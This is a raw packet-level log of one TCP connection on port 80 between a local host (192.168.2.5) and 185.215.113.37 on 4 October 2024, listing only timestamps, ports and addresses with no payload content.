Oct 4, 2024 05:45:10.429807901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.429809093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429832935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429847002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429860115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.429861069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429874897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429900885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.429904938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429919004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429933071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.429934025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429954052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.429996967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430043936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430058002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430072069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430085897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430094004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430100918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430114985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430155993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430156946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430179119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430191994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430206060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430207968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430241108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430258036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430272102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430278063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430286884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430300951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430310011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430326939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430347919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430352926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430366993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430382013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430397034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430406094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430444956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430521965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430536032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430550098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430563927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430573940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430578947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430594921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430613995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430619001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430634975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430649996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430668116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430668116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430668116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430708885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430731058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430744886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430757999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430758953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430773973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430777073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430789948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430802107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430804014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430819035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430835962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430857897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430891037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430905104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430933952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430939913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430948019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430962086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430975914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430974960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.430989981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.430994034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431005001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431020021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431031942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431039095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431046009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431058884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431072950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431087017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431092024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431101084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431116104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431132078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431150913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431184053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431193113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431207895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431221008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431235075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431243896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431251049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431266069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431304932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431380033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431405067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431418896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431431055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431432962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431448936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431461096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431473970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431474924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431489944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431503057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431514025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431516886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431531906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431535959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431546926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431559086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431571007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431581020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431590080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431596041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431608915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431611061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431624889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431638956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431653023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431653976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431668997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431683064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431685925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431698084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431703091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431710005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431746960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431746960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431760073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431775093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431786060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431790113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431804895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431807995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431850910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431875944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431890011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431921959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431925058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431936026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431951046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431962967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.431965113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431978941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.431989908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.432024956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.432028055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.432041883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.432054996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.432069063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.432076931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.432082891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.432097912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.432111979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.432116032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.432128906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.432152033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.432169914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.517775059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.517795086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.517812014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.517874002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.517905951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.517923117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.517935038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.517937899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.517955065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.517956018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.517995119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.518018007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.562402010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562433004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562453032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562474966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562496901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562500000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.562510014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562525034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562549114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562560081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.562563896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562578917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562581062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.562594891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562598944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.562608957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562623978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562638044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562639952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.562668085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562674046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.562681913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562696934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562696934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.562710047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562724113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562735081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.562747955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562761068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562774897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562778950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.562798023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562803030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.562813997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562825918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.562828064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562843084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562864065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.562896967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.562905073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562917948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562932014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562946081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562954903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.562959909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562974930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.562990904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.562993050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.563015938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.563019037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.563029051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.563040972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.563043118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.563056946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.563070059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.563082933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.563116074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.563123941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.563137054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.563138008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.563162088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.563169956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.563177109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.563191891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.563193083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.563205957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.563213110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.563222885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.563240051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.563275099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.671864033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.676688910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899085045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899107933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899122953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899136066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899151087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899174929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899190903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899209976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899224997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899240017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899261951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899262905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899292946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899296045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899296045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899308920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899323940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899348021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899357080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899363995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899378061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899406910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899426937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899427891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899455070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899470091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899483919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899497032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899514914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899527073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899533987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899542093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899558067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899571896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899574041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899595022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899601936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899601936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899610996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899621010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899625063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899637938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899641037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899656057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899662971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899662971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899672031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899682999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899708986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899708986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899763107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899776936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899791002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899805069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899821043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899826050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899832964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899847984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899859905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899868965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899874926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899888992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899888992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899910927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899913073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899914026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899926901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899934053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899940968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899955034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.899982929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.899982929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900002003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900002956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900016069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900029898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900042057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900057077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900059938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900070906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900079966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900084019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900096893 CEST	49704	80	192.168.2.5	185.215.113.37
